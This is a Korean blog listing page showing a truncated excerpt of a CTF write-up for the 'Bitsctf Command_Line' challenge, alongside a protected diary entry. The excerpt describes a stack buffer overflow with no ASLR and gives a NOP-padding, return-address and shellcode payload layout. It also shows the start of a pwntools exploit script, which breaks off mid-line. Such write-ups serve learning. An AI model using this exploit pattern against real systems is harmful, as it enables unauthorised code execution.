y0u_bat
[계획] 2017.02.06
보호되어 있는 글입니다.
일기+계획
2017. 2. 6. 01:03
Bitsctf Command_Line - 20pt
Bitsctf Command_Line - 20pt 풀이 할 필요도 없을정도로 쉬운 문제이긴 한데 그냥 풀이 해봅니다.. Buffer Overflow Vulnerability 띠용!..취약점이 대놓고 있고, v4 주소까지 준다.심지어 문제에 보면 no ASLR 그냥 주소 받아다가 적어 넣으면 된다. 그냥 "\x90"*24 + (v4+36 address) + "\x90"*20 + (shellcode 27byte) 이런식으로 페이로드 구성했다. Exploit.py from pwn import *s = remote("172.16.174.131",4444)stack_leak = 0x7fffffffecc0 + 36payload = "\x90"*24payload += p64(stack_leak)payload +=..
CTF
2017. 2. 5. 04:17